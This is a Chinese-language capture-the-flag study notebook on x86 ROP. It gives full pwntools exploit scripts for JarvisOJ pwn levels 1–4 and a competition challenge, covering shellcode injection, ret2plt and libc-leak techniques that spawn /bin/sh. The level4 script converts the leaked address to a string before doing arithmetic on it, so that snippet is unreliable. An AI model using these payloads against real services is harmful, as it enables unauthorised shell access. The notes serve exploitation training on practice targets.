pwn入门笔记

ROP(X86)

(学习记录)跟着蒸米学ROP

  • JarvisOJ-Pwn-level1
  • JarvisOJ-Pwn-level2
  • JarvisOJ-Pwn-level3
  • JarvisOJ-Pwn-level4
  • 国赛技能赛华东区线下赛 pwn12

基本原理

待施工…

练习题

JarvisOJ level1

发现问题函数

计算得到会溢出的位数为0x8C,并未发现callsystem之类的函数,需要自己构造shellcode。编写攻击代码如下

1
2
3
4
5
6
7
8
9
10
from pwn import *
r = remote('pwn2.jarvisoj.com','9877')
context(os='linux',arch='i386',log_level='debug')
shellcode = asm(shellcraft.sh())
get_addr = r.recvline()[14:-2]
addr = int(get_addr,16)

payload = shellcode+'A'*(0x8c-len(shellcode))+p32(addr)
r.send(payload)
r.interactive()

JarvisOJ level2

该程序中存在System函数和‘/bin/sh’字符串,直接调用它们,在x86中函数的参数是直接通过栈来传递的,第一个参数是ebp+0x8,在构造payload的时候注意参数的配置。并且由于延迟绑定技术,.plt段中的内容是实现跳转操作的代码片段,所以system函数的地址可以通过查看plt表获得。综上,得到如下exp函数。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = remote('pwn2.jarvisoj.com',9878)

level2 = ELF('level2')
system_addr = level2.plt['system']
#system_addr = 0x8048320
ret = 'a'*4
bin_addr = 0x804A024
payload = 'A'*0x8c + p32(system_addr) + ret + p32(bin_addr)

p.send(payload)
p.interactive()

JarvisOJ level3

程序中没有直接给出system函数和’/bin/sh’字符串,但是.so文件中有我们需要的函数和字符串。并且这个程序调用过write函数,我们知道由于延迟绑定技术,可执行文件中的.got和.plt中的地址并不是目标地址,而是动态连接器中的地址。在程序执行的第一次调用时,动态链接器才把got表和plt表中的地址填写正确。所以我们要泄露出write函数的地址,再结合偏移地址和内存地址的关系计算出system函数和’/bin/sh’的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
p = remote('pwn2.jarvisoj.com',9879)
level3 = ELF('level3')
libc = ELF('libc-2.19.so')

write_plt = level3.plt['write']
write_got = level3.got['write']
ret = 0x804844B

payload = 'A'*0x8c + p32(write_plt) + p32(ret) + p32(1) + p32(write_got) + p32(4)

p.recvuntil("Input:\n")
p.sendline(payload)

write_addr=u32(p.recv(4))

write_libc = libc.symbols['write']
system_libc = libc.symbols['system']
sh_libc = libc.search('/bin/sh').next()

system_addr = write_addr-write_libc+system_libc
sh_addr = write_addr-write_libc+sh_libc

payload2 = 'A'*0x8c + p32(system_addr) + "aaaa" + p32(sh_addr)

p.sendline(payload2)
p.interactive()

JarvisOJ level4

在未能得到程序调用的libc文件的情况下,我们就需要通过泄露内存的手段来获取libc中某函数的地址,然后通过版本对比得到其它函数或字符串的偏移量达到调用system(‘/bin/sh’)的目的。

这道题目并没有给出libc文件,首先通过payload1调用write函数输出libc中某个函数得实际地址,在下面代码中使用得write函数。然后通过LibcSearcher得到对应libc得版本号,从而获得system函数和”/bin/sh”字符串的相对地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *

elf = ELF('./level4')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
got_write = elf.got['write']
vulfun_addr = 0x0804844B

p = remote('pwn2.jarvisoj.com',9880)
payload1 = 'a' * 0x8c + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(got_write) + p32(4)
p.send(payload1)
write_addr = hex(u32(p.recv(4)))

obj = LibcSearcher("write",write_addr)
offset_system = obj.dump("system")
offset_binsh = obj.dump("str_bin_sh")
offset_write = obj.dump("write")

system_addr = write_addr - offset_write + offset_system
binsh_addr = write_addr - offset_write + offset_binsh

payload2 = 'a'*0x8c + p32(system_addr) + "aaaa" + p32(binsh_addr)
p.send(payload2)
p.interactive()

国赛技能赛华东区线下赛 pwn12

foo函数里,在gets函数后有一个puts输入内容的函数,要先接收puts的内容才能获得puts的内存地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *
p = process('./pwn')
elf = ELF('./pwn')
foo_addr = 0x0804859F
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']

p.recvuntil('?\n')
payload1 = 'a'*0x20 + p32(plt_puts) + p32(foo_addr) +p32(got_puts)
p.sendline(payload1)
p.recvuntil(p32(got_puts) + '\x0a')
puts_addr = u32(p.recv(4))

print hex(puts_addr)

obj = LibcSearcher("puts",puts_addr)
offset_system = obj.dump("system")
offset_puts = obj.dump("puts")
offset_sh = obj.dump("str_bin_sh")

system_addr = puts_addr - offset_puts + offset_system
sh_addr = puts_addr - offset_puts + offset_sh
payload2 = 'a'*0x20 +p32(system_addr) + p32(foo_addr) + p32(sh_addr)
p.sendline(payload2)
p.recvuntil(p32(sh_addr) + '\x0a')

p.interactive()

0%